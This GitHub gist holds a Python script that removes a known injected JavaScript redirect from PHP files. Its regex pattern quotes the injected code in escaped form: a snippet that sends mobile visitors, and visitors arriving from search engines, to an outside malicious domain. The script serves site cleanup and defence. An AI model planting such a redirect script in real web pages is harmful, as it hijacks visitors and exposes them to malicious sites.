Skip to content

Instantly share code, notes, and snippets.

@jasimmk
Last active November 8, 2016 23:14
Show Gist options
  • Save jasimmk/5e709ad4eba779d3768c8fc81d227d68 to your computer and use it in GitHub Desktop.
Save jasimmk/5e709ad4eba779d3768c8fc81d227d68 to your computer and use it in GitHub Desktop.
Removes hijacked and injected code snippets from php files. Make sure you compile the TEXT Pattern using regular expression escaping
#!/bin/env python
##
## Script to remove injected scripts from php files
##
## Refer regex escaping http://stackoverflow.com/questions/3446170/escape-string-for-use-in-javascript-regex
import glob
import re
FILE_PATTERN = '*.php'
TEXT_PATTERN = "<script type=\"text/javascript\">\s*?if \(screen\.width <= 480\) \{window\.location = \"http://google-statik\.pw/XcTyTp\";\}\s*?</script>\s*?<script type=\"text/javascript\">\s*?function R\(\)\{var Ref=document\.referrer;if\(Ref\.indexOf\('\.google\.'\)!=-1\|\|Ref\.indexOf\('\.bing\.'\)!=-1\|\|Ref\.indexOf\('\.yahoo\.'\)!=-1\|\|Ref\.indexOf\('\.aol\.'\)!=-1\|\|Ref\.indexOf\('\.ask\.'\)!=-1\|\|Ref\.indexOf\('\.altavista\.'\)!=-1\|\|Ref\.indexOf\('\.yandex\.'\)!=-1\)\{document\.write\('<script language=\"javascript\">docu'\+'ment\.location=\"http://google-statik\.pw/XcTyTp\"</s'\+'cript>'\)\}else\{document\.write\('\.'\)\}\}R\(\);\s*?</script>"
re_pattern = re.compile(TEXT_PATTERN)
NEW_TEXT = ''
def escape_regex(text_data):
"""
Escapes text for regular expression
:param text_data: text string that needs to be 'regex' safe
:returns: regex compatible text
TODO: print escape_regex(TEXT) will print it in proper representation
"""
# double backslash because it is used as escape character
for chr in ['\\','^','$','*','+','?','.','(',')','|','{','}','[',']', '"']:
text_data = text_data.replace(chr, '\%s'%(chr))
for chr in ['\n']:
text_data = text_data.replace(chr, '\s*?')
return text_data
for f in glob.iglob(FILE_PATTERN):
print "Checking %s" % f
with open(f, 'r') as fr:
fdata = fr.read()
results = re.search(re_pattern, fdata)
if results:
print ">> Replacing"
with open(f, 'w') as fw:
fdata = re.sub(re_pattern, NEW_TEXT, fdata)
fw.write(fdata)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment